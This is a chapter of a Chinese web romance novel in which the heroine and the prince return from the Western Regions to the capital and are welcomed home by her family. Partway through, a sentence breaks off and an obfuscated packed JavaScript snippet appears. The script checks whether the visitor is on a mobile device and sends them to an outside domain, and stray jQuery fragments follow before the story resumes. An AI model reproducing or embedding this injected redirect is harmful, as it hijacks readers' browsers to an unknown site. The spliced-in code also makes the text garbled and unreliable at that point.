15.回京
作品:《我只想在王府做少卿!》 得知第二日璟王殿下与江少卿要打道回府,王上特意带上王后公主及使臣苏大人一行人来到宫门送行,又命人多备了不少当地特产的乳酪与香料,让他们一并带回。
独孤曼也一早抽了空前来送行,作为江愿安头一回出远门交来的好朋友,要分别了自是有几分不舍。
“曼曼,日后在西域觉得无聊便来京川寻我,我带你好好逛逛。对了!改日见到凌公子,记得替我向他问好。”
独孤曼点了点头,打心底感激二人。经此一事,她不仅在宫中医坊成了人人皆知的女太医,连父亲的药堂也在鸣鹤城出了名,怎么不算是遇见了贵人呢。唯独梁疏璟从她口中又听见那人的名号,不由隐隐蹙了蹙眉。
琦月公主懒洋洋跟在王后一旁,了无兴趣的把玩指尖的发梢,直至眼中兀然出现江愿安手中递来的那支雀钗。
“这支金雀钗,可是琦月公主上回落下的?”
琦月闻言不由一惊,急忙将雀钗收下,眼神中满是慌乱,又因王后在一旁,只得强装镇定:
“谢谢江姑娘...这确是我丢的雀钗...”
王后还以为琦月是又去哪里淘人了,厉声开口:
“这雀钗平日里你最要欢喜,又乱跑去哪里玩了?若不是江姑娘有缘捡回,哪日找不到了又要同下人们发脾气。”
眼见再这么下去,琦月公主又免不了挨王后一顿训,江愿安赶忙站出来打圆场:“没有没有,前几日在集香会恰巧遇见公主了,琦月公主见我是第一次去,还带着我四处瞧了瞧,并非是公主乱跑。”
琦月也连连应声附和:“对对对,母后,就是这样。”
“罢了,时辰不早了,殿下同江姑娘还是快些上路为好,免得待到日中便要酷热难耐了。”
江愿安见状一溜烟便爬上了马车,隔着车窗同独孤曼以及琦月公主悄悄摆摆手。
“那本王与少卿便先走一步,苏大人,王上王后务必保重。”
“璟王殿下也是,日后定要常来西域再瞧瞧。”苏大人道。
车夫挽起缰绳,伴着马儿一声嘶吼,很快马蹄声便湮没在一行人耳中。
江愿安只觉在西域这几日过得飞快,虽说险是险了点,好在是没出什么差池。她又想到那日千霜同梁疏璟说的什么阁主要的东西,虽说梁疏璟没给,但能和梁疏璟要什么呢?
“殿下,那日千霜说她们阁主同你讨的东西,是什么?”
若不是她今日提起,梁疏璟怕是都要忘了这回事。
“京川的入京通令。”
“啊,那他们是想来京川为非作歹啊,幸好没给,殿下你可真是救了我们呀。”
梁疏璟黑了黑脸,不轻不重的伸手拍拍她的后脑,
“照这么说,那本王若是给了,少卿岂不是害了我们么?”
江愿安哪里服气他这胡搅蛮缠的道理,口中不屑道:
“切,那又怎么样,反正殿下也没给就是了。”
江愿安刚打算偏过头不理会他,便见梁疏璟手中变出了那块她落在西郊集市的透雕同心佩:
“那这还要不要了?”
“要要要,哎呀,我方才是在同殿下玩笑呢,快点还给我!”
直至玉佩回到自己腰间,江愿安才心满意足笑起来。
“既然殿下把玉佩还我了,我也给殿下看个好东西。”
梁疏璟闻声看去,她手心不知何时多了张破旧的纸笺。纸笺看上去是从古籍上被撕下的某一页,隐约只分辨出“心蛊,极寒之地寒冰凝露...”几个字,文字也与京川所用的大相径庭。
他不由想起千霜每每有意遮住颈间若隐若无的血丝,怕不是正中了这心蛊。
两人在西域待了不多不少恰好半个月,待赶到京川,怕不是早过了中和节,更不提要到二月十二花朝节了。想到这里,江愿安不由开始好好盘算起来,不知今年花朝节同江愿知要做一身什么衣裳。
还未来得及细想,天边又是淡淡暮色,马车停在驿站,正打算歇歇脚再出发。但回程总要快一些,毕竟从西域又跟了一名马夫来,两人轮着驾车,便无需再留在驿站过夜了。
“如今回程倒有精神得很,不像来时那般。”
江愿安停下筷子,忿忿不平正欲开始同他理论起来,仔细一想也确实是梁疏璟说的那般,一路上将他他忙活不轻,自知理亏,只好又拿起筷子,装作无事发生,也不理会。
几人再上路时已是夜深,雾浓霜重,离京城愈近气温便愈要低下一些,江愿安迷迷糊糊倚在窗旁小憩,却抵不了这股寒意侵袭,迷迷糊糊向着梁疏璟那处贴去。梁疏璟伸手探了探她耳后,更是凉的渗人,只得将她小心翼翼推到一旁,解下玄色鹤氅,轻轻覆到她肩头。
江愿安这觉睡得丝毫不安分,她梦到被千霜绑走那日迟迟等不到梁疏璟来救她,最后被毫不留情的丢下了悬崖,坠亡后才猛然惊醒。她看着盖在自己肩头那件熟悉的鹤氅,不由安心叹了口气。
“可是噩梦惊醒了?”梁疏璟淡淡开口。
江愿安点点头,随即便开始欲愤慨激昂地指责他在梦中所作所为,梁疏璟听她天马行空稀里糊涂讲了半天,无非还是怪他最后没去救她。
“其实少卿这个梦没做完,因为你被丢下悬崖之后本王还是去救你了,你还未等到时机罢了。”
“什么!?我都在地上躺的奄奄一息了,你还说会来救我?”江愿安觉得这人真是不可理喻,明明梦是自己做的,他还狡辩起来了。
“那是自然,毕竟是我府上的少卿么。”
江愿安扯了扯嘴角,道:“...那殿下真是普渡众生了。”
两个人你争我吵,就是不肯闭上嘴。
直至窗外热闹起来,江愿安探头一看,发现已经到了京川了。
“太好了,马上就能回家咯。哎,殿下,你快瞧瞧我在西域待了这么久,有没有瘦?”随即江愿安认真的转过头,盯紧了梁疏璟。
梁疏璟被她这股直白的目光盯得有些不自在,但细看脸颊两侧,确实清瘦了不少。
“嗯,回头让江夫人给你好生补补。”
“怎么就给我补呢,难道殿下不想留下来吗?我娘亲一定很想你。”
江愿安又开始在一旁喋喋不休吵起来,梁疏璟耳根被她吵得快生出茧子,好在马车终于停在了江府门口。
“好了,下车吧。”
门口的家仆见是璟王府上的马车,急忙就进去通报江夫人,江夫人正在祠堂上香,终于盼来了二人,喜出望外的出门迎接。
“娘亲这些日子在家里一直给你们烧香祈福,生怕你们俩出门在外发生意外,否则娘亲该怎么办呀。”
“多谢江夫人挂念,这是给您带回的一点心意,还望夫人收下。”
汀兰郡主生前同许寒枝情同手足,郡主还尚未出嫁时二人便已在宫中相识,后得知郡主要嫁给朝上不起眼的五品官员更是拉着她哭了一夜,汀兰郡主却只是轻声安慰她,以后二人又不是不能见面了。后待到许寒枝嫁到江府,梁煜已一跃成了朝中的一品太尉,汀兰郡主念在往昔旧情,赐了不少珠宝玉石给许寒枝当陪嫁。只是二人此后各自忙于家中内务,见面却渐渐少了许多,直至梁府那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849712|175159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜发生变故,她更是连汀兰郡主最后一面都没见到。
每每见到梁疏璟那与郡主有几分相像的眉眼,许寒枝便心中酸涩不已。
她就知道阿璟这孩子平时最会哄她,不收还不行,只罢满脸笑意双手接过那方锦盒,打开发现是一颗通体剔透的夜明珠,皎洁无暇,一眼便知是宝物。
知秋也带着丫丫来替江愿安打点行李,丫丫许久未见江愿安,高兴的围在她脚边又跳又叫,吵的江愿安耳根子一点都清净不下来。
“丫丫太吵了,还是抱下去吧。”
丫丫像是听懂了江愿安那股嫌弃,委屈的往知秋怀里一趴呜呜两声便被带了下去。
“依我看,还是随了主人。”
梁疏璟不急不慢替被抱下去的丫丫正名,惹得江愿安又是一肚子火。
“好啦好啦,路上累着了吧?娘这就给你们做饭去,你们快去好生歇着。”
江愿安将那副七弦焦尾琴抱回了房中,只是一路上不由引起了不少目光。
“小姐怎么还抱了把琴回来?知秋记得西域貌似不产这古琴呀...而且小姐房中不是备好了琴吗?”知秋小心翼翼扶着她,生怕她因怀中抱着琴而遭脚下的台阶绊着。
还未等江愿安开口解释这琴的来头,一旁的梁疏璟便又打趣道:
“你家小姐走到哪里都招人喜欢,这琴自是某家公子赠的了。”
知秋诧异得张大嘴巴,一路追问:
“真的吗?哪家的公子?小姐对他印象如何?不行,西域也太远了...老爷与夫人一定不会同意的...”
江愿安越发觉得这两人一唱一和无法无天,
“都不许说了!”
还未等几人在房内待上片刻,许寒枝便净了净手,来唤众人去宴厅用膳,打断了房中焦灼的气氛。
“娘亲今日太过匆忙,只给你们备了道酿蟹橙,据说京中最近尤其风靡呢,又炒了盘元修菜,还有这玉井饭,是和新鲜的白藕与莲子一同焖熟,很是鲜美,你们快尝尝。”
“玉井饭?是取自‘太华峰头玉井莲,开花十丈藕如船’么?”
梁疏璟记得先前听闻过玉井饭的典故,但他不喜琢磨吃食,便也只是草草略过。
“正是,正是。”许寒枝欣喜的点了点头,她在食谱上便瞧见了这句诗,未曾想阿璟这孩子竟能诵出来。
江永望这两日出了例差,东院便只剩下几位女眷。见梁疏璟也在一旁,江愿知规规矩矩弯腰行了个礼,心思却全然在两人去西域的这趟旅程上。
“阿姐,你与殿下在璟王玩的开心么?”江愿知刚拿起手中的筷子,便迫不及待问道。
“那自然好玩的紧呢,有机会带你也去好不好?”
江愿安得意洋洋扬起嘴角,目光不经意落到一旁的某人身上。
“好好好!这可是你说的!我们一家都去!”
语落,还未等江愿知从那股欣喜劲中走出来,江夫人便兀然沉下脸色,
“好了,都少说两句,西域那般远的地方,怕不是要替你爹那副骨头都跌散了。”
见娘亲难得发话,二人便只好老老实实吃起碗中的饭来,生怕多说一句又被唠叨。
待众人都用完膳,许寒枝才清了清嗓子道:
“今年宫中的花朝宴,太后指名要你们两个丫头跟着璟王一同赴宴,你这几日抽出空带她去杜绣娘那定几套衣裳,勿要让她自己择那布料,省的穿出去丢人现眼。”
梁疏璟闻言低了低眸子,他平日向来不喜前往宫中赴宴,只是照太后今年这意思,看来是不得不去了。